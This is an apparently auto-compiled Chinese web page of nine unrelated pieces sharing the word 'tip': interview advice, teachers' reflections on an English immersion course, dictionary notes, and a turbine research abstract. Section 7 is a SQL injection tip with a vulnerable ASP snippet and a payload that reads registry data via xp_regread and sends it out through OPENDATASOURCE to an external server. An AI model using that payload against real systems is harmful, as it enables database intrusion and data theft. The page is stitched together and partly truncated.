【导语】下面是小编整理的面试TIP（共9篇），欢迎您阅读，希望对您有所帮助。
篇1：面试TIP
面试TIP
TIP1：确认面试相关事宜
现实中的面试通知，多以电话、手机短息或电子邮件的形式发出，求职者在收到面试通知，应主动确认单位名称、面试地点、面试时间、面试联系人、联系电话、所需携带的个人资料、面试的大致流程，以及负责面试的人员等。
TIP2：阅读面试单位的招聘信息
针对要面试的单位，应再仔细阅读一下这家单位的招聘信息，特别是对自己所要应聘岗位的工作内容与入职条件进行准确的了解。这样有利于在面试中表现出自己的特长，增加面试成功的机会。
TIP3：预先准备面试时的.问题
求职者一方面要根据招聘信息和自己对这个行业的了解，准备一些要在面试现场了解的问题。这些问题应是有助于求职者全面了解用人单位经营情况、管理情况、岗位情况，并与应聘岗位相关的问题，
求职者可通过现场观察和与面试人员沟通的方式，获取这些问题的答案。另一方面，求职者还应该了解面试时面试人员的常规问题，做到心中有数，避免临场紧张。
TIP4：牢记个人简历内容
面试前要再看一遍自己所投递过的个人简历，因为有些用人单位会要求求职者在现场填写本单位的应聘登记表。求职者应保证自己所填写的内容与所投递的个人简历的内容一致，以避免不必要的麻烦。
TIP5：细节不可忽视
在面试时，细节往往会决定成败。因此收到面试通知后，要关注一些细节方面。如针对不同类型的单位准备好面试着装和服饰，应以干净整洁为原则，并应体现出求职者个人的气质；如果面试地点自己不熟悉，应通过面试联系电话询问清楚。自己设计好到达路线，保证面试时不迟到；自己带好纸笔，以便于在面试过程中记录相关问题。
篇2：TIP学习心得体会
TIP学习心得体会
TIP学习心得体会 在学校领导的亲切关怀下，4月4号我非常荣幸地到北京大学圆明园校区参加了第三十五期TIP全封闭英语口语培训，这次参加培训的一共有150位教师，来自北京朝阳区，甘肃省，山东济宁和滕州，分为ABCDEF六个小班，我在A班。这次学习，既给我自身素质的提高提供了一个平台，又是一次探索英语学习方法的艰难跋涉；既有观念上的更新，也有理论上的提高；既有知识的积淀，也有学习方法的改变。我非常的高兴和十分的荣幸能够有这个机会在这里和大家一起分享，交流我在北大参加英语培训学习的心得体会。 我首先介绍我们的培训机构，TIP是Total Immersion Program，它是由美中教育机构（ESEC）与北京大学继续教育部合办的一个全面倡导以英语思维模式来进行英语学习和英语教学的特色培训项目。TIP通过在北京大学圆明园校区创建一个“本土化留学”的环境，使学员如同置身美国，通过各种听、说、阅读、游戏、电影、演讲等一系列活动，引导、培训学员全面使用英语，让学员用英语来生活，用英语来解决一切问题。TIP成功地营造了全封闭的英语口语环境, “English Only, No Chinese”, 英语是唯一的学习和生活语言，营造全英语环境，无论面对的问题和情况有多么困难，也不许说中文。在物理环境上，TIP在教室里、走廊上甚至是宿舍里，都张贴了英文画报、激励性的英语口号等；在人文环境上，TIP学员从早上起床到晚上睡觉，吃饭的时候，走路的时候，每个人都强制性地要求用英语交流，不能够使用中文。如果说中文，学员会得到citation(罚单)。如果citation达到几张后，学员将面临劝退或者拿不到培训结业证的风险。通过以上办法，大部分学员能够迅速地进入全新的学习英语的状态，汉语的话语习惯强制性地转为了英语的话语习惯，思维方式也随之有所改变。在学习接近尾声的时候，每个人都要完成20分钟的全英文授课和10分钟的全英文演讲作为结业考试。回顾整个培训过程，二十多天的学习生活节奏紧张而又乐趣无穷，它在英语水平、教学思想以及人生态度方面都让我受益匪浅，真的是“一次培训，影响终身”。下面我说说我的体会： 第一、TIP理念新颖，方法独特。 ①学习英语口语的ABC宝典：Attack Your Limitations 突破瓶颈; Build Your Confidence 树立信心; Commit Yourself 自我承诺。 我们通常认为必须全盘掌握才能开口说英语，我们会有“说得不好会丢面子”的恐惧。可如果我们不说，我们什么时候才能全盘掌握口语，又有谁不会犯错呢？所以张开嘴，赶走恐惧，大声的说出来，有错误我们可以改正，可如果连犯错的机会都没有了，我们又哪来改正的机会呢？ 为了树立并巩固学习英语的信心，要多说，多听，用英语思考。学习口语最简单的方法是：重复。说得越多，重复得越多，你就能越清楚地表达自己。如果一个词语或句子被重复60遍，就能成为母语。因此在TIP，安排了很多walk and talk，就算是上课，大部分时间也是学员在说。大量去听，达到“耳熟”是英语听力的关键，但不需听懂每个单词。当你张口说的时候，当你倾听别人或听磁带的时候，当你看英语电视或电影的时候，当你在课堂上，你都被英语环境所包围，同时，你也就在不自觉地用英语来思考，逐渐养成英语思维习惯，你甚至可能晚上用英语做梦。 自我承诺，就是确信一件事情，全力以赴。自我承诺并全身投入是获得成功的要诀，努力挑战自己，充分发挥自己的天赋和优势。 每天用最大声喊出ABC宝典，是每一个TIP 学员必须做的功课，这是TIP提供给学员不可或缺的精神食粮。 ②右脑学习方法 右脑学习方法是很简单的，就像小孩子一样去学。右脑学习法具有娱乐性、行动性、创造性，包括音乐、图画、雕刻、艺术、游戏或者做一些又去的事情。右脑学习法需要常常发问，最有用的工具是“六何法”，何人，何事，何时，何地，为何，如何。右脑学习法不注重语法，课本和内容。在TIP的课堂中，合作学习是我们学习的主要方式。这里没有第一名，这里没有最好的学生，在这里只有最好的集体，最好的团队。每一次的讨论，我们都可以从别人的身上学到自己不会的。我们也会找比自己水平低的同学，给他们鼓励和帮助。这样的学习方式，增强了我们的自信，使每个班级都有很强的凝聚力。 ③态度就是一切（Attitude is everything）。 在艰辛的环境中，可能会有放弃的念头，但要坚持住，要对自己说“I can do it”。 在英语培训项目中的.成功不是战胜别人，而是与你最大的挑战者较量――你自己。学习的机会不是时时都有的，所以我们要把握时机，抓住今天！帮助别人，当别人遇到困难时，说声“You can do it.” 当别人完成一件事情时，说声“Good job”。成功的态度很简单：相信自己，保持乐观，充满热情，主动参与，全身投入，帮助别人，取得成功。 第二，TIP时间合理，内容充实。 每天从早7点到晚10点，学员就像是上足了发条的闹钟一样,每天穿梭于教室、图书馆、语音实验室、食堂、宿舍之间，没有一刻空闲。工作日和周末活动安排是不同的，在工作日是外教给我们上课，而周末是学员自己学习。在工作日，8:00-8:30 TIP Exercises; 8:30-9:20 Morning Motivational Time 9:30-11:20 TIP Class 11:30-12:15 Lunch 2:00-2:50 Clubs 3:00-3:50 Physical Exercise 4:00-5:20 Famous Speeches, Fairy Tales, Diction and Chinglish 5:30-6:15 Dinner6:30-7:30 Reading Time 7:30-10:00 Personal Time. 在周末，8:00-9:00 Morning Motivational Time 9:00-11:20 Speaking Activity 11:30-12:15 Lunch 2:30-5:10 TIP Activity 5:20-6:05 Dinner 6:15-7:15 Reading Time 7:15-10:00 Personal Time. 每节课中间的10分钟时间是walk and talk. Mo-Mo Time 和Famous Speeches, Fairy Tales, Diction and Chinglish 是在大教室，所有学员一起上课，其他则是在小教室。这中间还会有Computer Club，使用人机对话语音纠正软件，帮助学员运用正确的方法，持续不断的训练口腔肌肉，从源头上纠正语音问题。我们每天都有作业，20个新单词，用英语解释并造句；根据晚上阅读的英文材料写一篇读后感；两篇日记，一篇外教给一个话题，围绕话题写出自己的观点，另一篇写自己一天发生的事情。TIP有一句话就挂在宿舍楼里，When you are your own teacher, the world is your classroom.。即使是吃饭也得吃够40分钟，以说为主，以吃为辅，吃饭是小事，说话才是大事。CITATION时时刻刻地警示着你，If you speak Chinese, you will receive a citation。所以，从时间上来说，这次培训安排的合理恰当。 下面说说我的收获： 第一、提高了我的英语能力 TIP是一个“English only”（纯英语）的环境，从早上起床到晚上睡觉，英语是唯一的交流语言。每天浸泡在这种语言环境当中, 在不知不觉中我们的英语听力口语水平得到了提高，尤其是提高了英语口语的流畅性。开始，我们是被迫说英语，但慢慢地，我们从说英语中找到了自信，我们勇于用英语交流。虽然我们还是会犯错，但这不影响我们的理解与交流。我们每天都会有阅读和写作时间，所以我们读和写的能力也得到了提高。 第二、更新了教学理念，丰富了教学方法 1. 让学生成为学习的主人 在我们大多数英语课堂上，只是单纯的老师讲，学生听，学生大量记笔记、啃课本，消化老师的内容，记单词，记句型，做练习；而在这20多天的学习时间里，我真正地懂得了TIP重要的核心理念：“ask ask ask，tell tell tell，I think I can”、“找比自己英语差的人学习”、“让学员从被动学习转到主动学习”等。在TIP的课堂中，学生是学习的中心，英语就是交际工具，所有的facilitators都鼓励每个学员大胆地讲英语，大胆地去当别人的老师，大胆地表达自己，不怕在学习过程中犯错误，成为自己学习的主人，在此，TIP成功地让学员实现了从被动学生到主动学习的转变，真正实现以学生为中心，把简单的英语学习潜移默化到了学生的整个生活中，把学习变成了生活，把生活变成了学习，使枯燥的英语学习变成了学生生活中快乐的一部分。 2．加强学生的合作学习在TIP的课堂中，很多活动都是以小组形式进行，伙伴交换形式多样，小组合作共同完成任务。这里没有第一名，这里没有最好的学生，在这里只有最好的集体，最好的团队。每一次的讨论，我们都可以从别人的身上学到自己不会的。我们也会专门找比自己水平低的同学，给他们鼓励和帮助。这样的学习方式，增强了我们的自信，使每个班级都有很强的凝聚力。例如：第三周的时候，TIP让每一个班为TIP设计一个2分钟左右的广告。这个活动看似简单，做起来并不容易。因为在短暂的时间里，不仅要把TIP是什么、TIP能够帮助大家什么、TIP的理念以及目的广而告知，而且还要生动有趣，能够吸引住大家的眼球。开始的时候大家束手无策，接着大家积极地出谋划策，最后我们在规定的时间内完成了广告。当我们的广告在大屏幕上展示的时候，我们都不敢置信，这么精彩的节目竟然是我们自己制作出来的。在这个过程中，我们集思广益，从不同的角度提出了各种各样的解决办法，同时我们体会到了团队的力量，体验了“Impossibility becomes possibility”（不可能的事情成为了现实）。 第三、提高了师德水平，增加了敬业精神。 1．TIP的Morning&nbs篇3：tip是什么意思中文翻译
tip作名词的意思
小费;小窍门;末梢
tip作动词的意思
给小费;翻倒;倾覆
tip的英语音标
英 [tip] 美 [tɪp]
tip的时态
现在分词： tipping 过去式： tipped 过去分词： tipped
tip的英语例句
1. Here's an inside tip: The faster you rise, the harder you fall.
给你一个小忠告：爬得越快，摔得越疼。
2. She poked and shifted things with the tip of her walking stick.
她用手杖尖翻拨挪动东西。
3. It is usual to tip waiters, porters, guides and drivers.
给服务员、行李搬运工、导游和司机小费是惯例。
4. We grabbed it just as it was about to tip over.
我们在它就要翻倒时把它抓住了。
5. Draw the basic outlines in black felt-tip pen (see fig. 4).
用黑色毡头笔画出基本轮廓(见图4)。
6. He tip-toed to the door in his stockinged feet.
他踮着脚尖走到门口，只穿着袜子没穿鞋。
7. The Everglades National Park stretches across the southern tip of Florida.
大沼泽地国家公园位于佛罗里达州的最南端。
8. Hurricane Andrew has passed over the southern tip of Florida.
飓风“安德鲁”已越过佛罗里达州南端。
9. The orange tip shows up well against most backgrounds.
橙色的尖端在大多数背景下都很醒目。
10. Officers had found a large bread knife on the rubbish tip.
警察在垃圾场发现了一把很大的面包刀。
11. The above complaints are, I suspect, just the tip of the iceberg.
我想，以上的抱怨只是冰山一角。
12. Her hair was thick, glossy and in tip-top condition.
她的头发浓密亮泽，发质好得没话说。
13. A sarcastic remark was on the tip of her tongue.
挖苦的话到了她嘴边却没说出来。
14. She bit the tip of her left thumb, not looking at me.
她咬着左手的拇指尖，眼睛也不看我。
15. I took a load of rubbish and grass cuttings to the tip.
我把一堆垃圾与修剪下的碎草运到了垃圾场。
篇4：tip的用法总结
tip的意思
n. 小窍门,小费,末梢
vt. 给小费,倾斜，翻倒,装顶端
vi. 给小费,翻倒,倾覆
变形：过去式: tipped; 现在分词：tipping; 过去分词：tipped;
篇5：tip的用法总结
1、Here's an inside tip: The faster you rise, the harder you fall.
给你一个小忠告：爬得越快，摔得越疼。
2、She poked and shifted things with the tip of her walking stick.
她用手杖尖翻拨挪动东西。
3、It is usual to tip waiters, porters, guides and drivers.
给服务员、行李搬运工、导游和司机小费是惯例。
关于单词 tip 的九种常见用法...
今天给大家分享一个常见的单词“tip”。
大家知道 tips 是怎么来的么?tips，译为“小费”，那“小费”究竟是什么费用呢?
其实，tips 是“To insure prompt service”的缩写，也就是“保障快捷的服务”。在一些西方国家，人们习惯给餐馆的服务人员留下10%至15%的小费。在口语中，tip就可以指“小费”，是可数名词。除了tip以外，我们还可以用“service charge”和“gratuity”等更正式的说法来表示“服务费”。
1️⃣小费
例句：Let’s leave a tips for the waiter. 我们给服务员留些小费吧。
2️⃣小窍门
单词 tip 作名词还有“简短有用的信息、小窍门”的含义。比如说“a tip on how to do something 一个教怎样做某事的小窍门”。
例句：Here are some tips on how to improve your English listening skills. 这里给你一些有关如何提高英语听力技巧的小窍门。
3️⃣内幕消息
单词 tip 的另一个和“消息、信息”有关的解释是“某场比赛的内幕消息”，尤其指“和最后赢家、获胜者有关的内部信息。”
例句：Subscribe to our channel to get experts’ tips on the latest games. 如果你订阅我们的频道，就能得到专家提供的有关最新比赛输赢情况的内幕消息。
Tips 作动词还可以表示“通风报信”，常和介词off连用，构成短语“tip somebody off 向某人告密”。
例句：The criminals ran away before the police could reach them-they must’ve been tipped off by someone.罪犯们在警察赶到前就已经逃跑了，肯定有人当时给他们通风报信了。
4️⃣物体的尖端、末端
当我们想表达“物体的尖部、末端”时，也可以使用tip，它在表示这一含义时是可数的。其中。常用的表达或搭配有“on the tip of someone’s tongue 在嘴边想不起来了”和“tip of the iceberg 冰山一角”等。
例句：Who wrote that book again?It's right on the tip of my tongue!写那本书的是谁来着?名字就在我嘴边想不起来了!
This is only the tip of the iceberg-there is still a lot more to it. 这仅仅是冰山一角，这件事远比看起来复杂的多。
5️⃣物体顶端的附加物
Tip 作名词时，除了表示“物体的尖端”之外，也可以具体指“物品顶端的附加部分。”
例句：A metal or rubber tip on a walking stick gives a better grip for the user. 套在拐杖底端的金属或橡胶头能提高其防滑的性能。
6️⃣垃圾场;脏乱的地方
在英式英语中，可数名词 tip 的意思是“垃圾场”，常用于口语中。其中动名词 tipping 则指的是“随处倾倒垃圾”这一非法行为。
例句：The truck carries household waste to rubbish tips.这辆卡车把生活废品运送到各垃圾场。
除了“垃圾场”以外，tip 在非正式场合中也可以泛指非常脏乱的地方。
例句：Your apartment is a tip!Don't you ever tidy up?你的公寓就像垃圾场一样乱!你平时一点也不打扫吗?
7️⃣认为...有可能成功
单词 tip 是另一个常用含义是某人“据称有可能......”,通常指某人被认定为会获得奖项，或有所成就，常用于被动语态。相关的搭配包括 to be tipped as/for 或 to be tipped to do something 等。
例句：Leonardo DiCaprio was tipped to win Best Actor at the Oscars. 当时，莱昂纳多·迪卡普里奥被认定会在奥斯卡颁奖典礼上获得最佳男演员奖。
8️⃣倾倒
在英式英语中， tip 还可以表示“倾倒”的含义，指“把物质从一个容器倒入另一个容器或表面上”的动作，通常做及物动词，后直接加宾语。
例句：Please tip all the coffee beans into the grinder and press ‘start’. 请把咖啡豆倒入磨豆机里，并按下‘开始’键。
9️⃣使...倾斜
最后，动词 tip 还有“(使)倾斜、打翻”的意思，用来描述“(使)物体失去平衡，从而翻倒或掉落“的动作。
例句：Don’t place the vase on that wobbly shelf-it’ll tip over. 别把花瓶放在那个摇摇晃晃的架子上，它会翻倒下来的。
英文天天写：Tip
话题：
Writing: imagine a scenario or express your opinion
Tip
The tip, or apex, of something is at the very top. What is the tip of the object? What purpose does it serve?
This week's topic: The tip was sharp... (90-110 words)
Suggestions:
1) the tip of the pencil gets dull easily
2) leaving a tip for the waiter at a restaurant
3) getting a tip about the next hot stock
4) the informant tipped off the police about a drug deal
5) Instead of writing a scenario, feel free to comment on the story below.
范例1：
“I've only met him a few times. His name is just at the tip of my tongue,” Al said as he took out his phone to search through the contact list. “Oh... that's too bad, I don't have his name here,” he said after scrolling through the screen for a brief moment. Instead of putting it back in his pocket, he discretely put the phone on the table. “Anyway, he was telling me about the projects he was working on. It sounded really impressive,” Al commented, noting the expression of the man in front of him.
篇6：tip的用法总结
tip可以用作名词
tip的基本意思是“尖端,尖儿”,也可表示(装在某物顶端的)“小部分”或“小物件”,其后常跟of。
tip表示“(使)某物侧边提高,倾斜,翻倒”时,可用作及物动词,也可用作不及物动词。用作及物动词时,接名词或代词作宾语。
tip表示“将(所盛之物)倒出”时,用作及物动词,接名词或代词作宾语,其宾语后还可接介词短语或副词。
tip用作名词的用法例句
He charged me 20 yuan for tip.他向我要了20元小费.
It's common to leave a tip in many Western countries.在很多西方国家,给小费是很平常的。
This manual is full of useful tips.这本小册子里有很多实用的小建议。
tip可以用作动词
tip表示“(使)某物侧边提高,倾斜,翻倒”时,可用作及物动词,也可用作不及物动词。用作及物动词时,接名词或代词作宾语。
tip表示“将(所盛之物)倒出”时,用作及物动词,接名词或代词作宾语,其宾语后还可接介词短语或副词。
tip作“付小费”解时,宾语一般为人,也可接双宾语。tip也可表示“轻触,轻打,轻敲”,用作及物动词,接名词或代词作宾语,可用于被动结构。
tip用作动词的用法例句
Did you remember to tip the porter?你记得给搬运工小费了吗?
Only the tip of an iceberg pokes up above water.只有冰山的尖端突出于水面。
篇7：不完全的sql注入tip
今天看到有篇跨站查询.觉得有些东西用的不好..
而且.实际当中不一定有这样的机会.不过作为一种手段还是不错的
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
条件:
首先你要确定target可以对外连..
再次没有报错.
有问题的语句是这样
<%
dim sqlstr
dim rs
sqlstr = “select newstext.title,newstext.content from newstext where typeid
=” & Request(“id”)
Set rs=conn.execute(sqlstr)
If rs.eof and rs.bof Then
response.write “No this Topic”
else
response.write rs.fields(0).value&“
”
response.write “
”
response.write rs.fields(1).value&“
”
end if
%>
我这样注入(public权限)
1;DECLARE @result varchar(200) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHIN
E','SYSTEMCONTROLSet001ServicesW3SVCParametersVirtual Roots', '/' ,@res
ult output insert into OPENDATASOURCE('SQLOLEDB','Data Source=192.168.0.3;Us
er ID=sa;Password=sql').sample.dbo.syshelps values(@result)--
其他的类似...
ps:
主要利用了
opendatasource
OPENROWSET
OPENQUERY
篇8：TIP口语培训的心得体会
TIP口语培训的心得体会
作为一名教学经验尚浅的英语教师，我很荣幸的获得了这次极其宝贵的学习机会。石家庄市教育厅举办的此次tip英语口语培训班，全部由来自美国south carilina洲的教师授课，实行小班教学。所谓tip，t，指的是total ,i指的是immeerion ,p指的是program，total immeerion program的意思是全封闭英语班。在培训期间，以口语练习为主，兼顾阅读、听力、写作、文化背景以及英语教学方法的介绍和指导，让我们实现了不出国门的留学，与其说是培训，不如说是学习更贴切，我们在异国历史，文化习俗的氛围中自然地感受它国的语言博大精深，掌握必要的实用性的操作技巧，有效的促进了我们英语教育教学水平的提高。
此次培训辛集市一共派出了13位中小学老师，其中小学5位。在培训之前首先提交承诺书：在培训期间实行全封闭管理，所有学员必须佩带学员证，最重要的是在培训期间只有英语，没有汉语。这就需要你必须有足够的勇气用英语提出自己独特的见解，这些都不允许你在学习期间有丝毫的松懈与放松。然而，这种紧张而忙碌一点也没有减轻洋溢在我心中的快乐和幸福。我终于战胜了内心的怯懦与自卑，我仿佛又一次回到了十多年前快乐上学时光。坐在熟悉的课桌前，经历相似，感受却更为深刻，我深深的被耳畔这种优美的语言的魅力所吸引，所陶醉。陶醉之余，心里也更是种莫名的感动和压力，是学校的领导们把信任与期望交给了我。
这短暂的二十天的学习是紧张而难忘的。每天从六点开始，一直到晚上9点，我们就开始了一天丰富多彩的课程。每天的上午和下午各有三节课，上午和下午的第一节是在大教室进行，容纳7-8个小班，我们称之为大课big class ，大课的主讲老师是剩余的四节则在小班，也就是我们自己的班级上课，我们称之为小课small class 。我们的班主任是62岁的judy garna 。
课堂上，面对外教富有趣味和一定难度的问题，你必须有足够的勇气站起来去争取练习口语的机会，然后用流利的英语提出自己独特的见解，这些都不容许你在学习期间有丝毫的松懈与放松。在课堂上为了激发我们学员的兴趣，老师把一些他们带来的的小奖品来激励学员，每天外教和我们一起唱歌跳舞走进课堂，把他们的仁爱和知识传播给我们。为了加强英语口语的练习，增强对美国文化的了解，形成更科学的英语教学方法，教师们经常组织我们讨论一些热门话题，比如“the differences between china and america” “food” “sport” “sing and dance”“festivals” 等等；他们也鼓励我们到讲台前去做各种各样的游戏，这样，我们不仅了解到更多关于美国的历史文化习俗，也同时深刻的理解了他国的文化与价值观。下面是我们一起过万圣节。有时为了解释一个生词，外教们会不厌其烦，反反复复的用他们那丰富的表情和夸张的肢体语言来演示直到你明白为止。为了达到与更多人进行交流的目的，我们一节课会更换很多次座位。然而，这种紧张而忙碌一点也没有减轻洋溢在我们心中的快乐和幸福，我们在轻松的课堂氛围中学会了更多的知识。
晚上还有英语的一些活动，大部分时间是做作业，开始的头三天还可以，每天把所经历的以日记的形式整理下来，后来连续10天，每天一大篇文章，写总结体会，要求是每天晚上在教室学习的时间是9：00，自从开始这个总结，每天10:00之前，没人回宿舍，回到宿舍继续和宿舍的同仁继续，直到晚上11点，宿舍执勤的老师每天敲门，提醒该休息了。我们宿舍年龄最大的40出头，最小的31，也不知道哪来的劲头，谁都不累。可能都是因为这次的机会来之不易，都想带回去点什么吧。
为了有更多时间练习口语，我们每天都和外教在一起，即使是在餐厅吃饭的时候，也有外教陪同，这样，每个人就有更多的时间练习口语，而且还有一对一的交流机会。与他们的交流不但增加了我们的词汇，练习了我们的口语，而且是我们了解了真正的美国生活。更为重要的是，教师给我们带来了各种丰富的英语课堂，提升教学效率的教学方法。
我们的课堂是生动有趣，充满知识的，judy给我们开展了“america education ,america wedding, and christmas party” 等活动，让我们对美国文化习俗有了更为直观，更为深刻的了解，在以后自己教学之余，我们也可以借鉴一下他们的做法，经常举办一些“english corner” “english party” 等活动，以进一步培养和延伸学生英语学习的兴趣，并提高他们团结协作的意识。除了班主任judy上主课之外，还每天可设一节副课，例如体育课，音乐课等，我们的课外也是精彩纷呈的。
在培训的过程中，我感受最深的是我彻彻底底的成了一名学生，我也真正体会到了作为学生的快乐和痛苦。例如，以前我所认为的课上小奖品，比如小贴画，小印章等，对于六年级的孩子来说，太幼稚了，孩子们可能早就厌烦了。但是通过这次的学习培训，彻底改变了我的想法，我们所有学员，都是老师，大部分中学老师，还有高中老师，每次上课的外教都准备小礼物，虽然是一个小笑脸，只是一块糖，甚至一勺芝麻酱，虽然上面都是made in china。都让我们异常兴奋；还有就是老师的批语，每次不超过10个词，但还是很期待，尤其是自己的和别人的与众不同，更是欣喜万分。当站在这一角度，我们才会发现每个学生都是渴望着教师能亲近他们，近些，再近些；当站在这一角度审视教育，我们才会自觉地朝着平等、尊重、民主的方向努力，才能真正做到爱每一个学生；当站在这一角度研究师生关系，我们才能不断改善它，才会感到师生关系是那么的温暖，温暖学生，也温暖教师。师与生之间的心灵距离才会不断缩短，我们的教育才会变得更加美丽！另一个深深的体会就是在外教面前，我是一名中国人，我爱自己的祖国。在课堂上，我们在讲解中外的教育不同时，只要是有丝毫不利于中国的言辞我都会挺身而出，极力反驳，虽然有不同地区，不同文化的差异，但是爱的教育是哪里也不会变的，这也是我的毕业演讲。
二十天的学习使我深深的感到外教们的教学真谛：他们重视营造语言环境，重视课堂的趣味性，他们常常使用夸大的生动活泼的面部表情，以及肢体语言和我们交流，甚至把自己溶入所讲的故事情节，按不同角色给我们表演。在生动有趣的课堂中，我们随着外教一起快乐一起进步，自身的口语也在交流中得到了进一步的提高。同时，我们也深深的懂得了在平时的教学中要变注入式教学为启发式教学；变被动听课为主动参与；变单纯知识传授为知能并重，教师施教之工，贵在引路，妙在使学生开窍。在课堂教学中能让学生思考的尽量让学生思考；能让学生动手的尽量让学生动手；能让学生总结的尽量让学生自己推导出结论，教师不能包办代替。“把讲堂变为课堂，把书本知识转化为生活情境，变为生活的大课堂，让学生参与进来，像演员一样体验人生的种种际遇，在过程中感悟语言的魅力，领会语言运用的真谛通过这次学习，我深切地体会到“英语的工具性”的重要性。语言是一个载体，是一种工具。它的目的是交流。要想熟练的使用这个工具来达到交流的目的'，它就应该是听说读写四项基本技能的综合，最后以“说”的形式呈现出来。然而，在实际英语教学过程中，迫于学生压力和各种考试的检测手段以及教学条件的限制，有些时候，我们难免做得有些本末倒置，把大量精力放在阅读写作等技能的训练上，而忽视了“说”这个语言最基本的技能，忽视了学生口语表达能力的提高，从而把英语学成了“哑巴英语”。因而，只有运用灵活多样的教学方法，才能充分调动学生学习的积极性，激发学生的知识潜能，改变“单调压抑”的课堂模式，向英语口语化的课堂迈进，向充分互动的课堂迈进。灵活多样的教学方法来自哪里？来自不断更新的教育理念，来自我们的不断发展的教育实践，来自我们孜孜不倦的探索研究和学习，来自我们永不停息、充满爱的心灵深处。
培训虽然结束了，可带给我的思考与学习才刚刚开始。当我参加这个培训之前，只是抱着学到一些新东西的想法，可培训结束的时候，我们心中都明白，在这里所收获的远超过预计的设想。如何将所学的知识运用到实际的教学中，如何从教材中挖掘素材，设计出高水平的教学设计，上出高效率的课，从根本上激发孩子们学习英语的兴趣，这才是我们学习的最终目的。
通过培训我才真正感受到教育是充满智慧的事业，深刻意识到自己赋有的责任，我们从外教身上不但学到了教学本领，而且还学到了如何更好的为人师。“愿一片金色的回忆，一份永久的纪念”成为我们重新跋涉的新起点。
篇9：Tip Clearance Flows in Turbine Casca
Tip Clearance Flows in Turbine Cascades
This article describes the effects of some factors on the tip clearance flow in axial linear turbine cascades.The measurements of the total pressure loss coefficient are made at the cascade outlets by using a five-hole probe at exit Mach numbers of 0.10,0.14 and 0.19.At each exit Mach number,experiments axe performed at the tip clearance heights of 1.0%,1.5%,2.0%,2.5% and 3.0% of the blade height.The effects of the non-uniform tip clearance height of each blade in the pitchwise direction are also studied.The results show that at a given tip clearance height,generally,total pressure loss rises with exit Mach numbers proportionally.At a fixed exit Mach number,the total pressure loss augments nearly proportionally as the tip clearance height increases.The increased tip clearance heights in the tip regions of two adjacent blades are to be blame for the larger clearance loss of the center blade.Compared to the effects of the tip clearance height,the effects of the exit Mach number and the pitchwise variation of the tip clearance height on the cascade total pressure loss are so less significant to be omitted.
作 者：Li Wei Qiao Weiyang Sun Dawei 作者单位：College of Propulsion and Energy,Northwestern Polytechnical University,Xi'an 710072,China 刊 名：中国航空学报（英文版） ISTIC英文刊名：CHINESE JOURNAL OF AERONAUTICS 年，卷(期)：2008 21(3) 分类号：V2 关键词：tip clearance flow turbine cascade tip clearance height total pressure loss coefficient★面试回答
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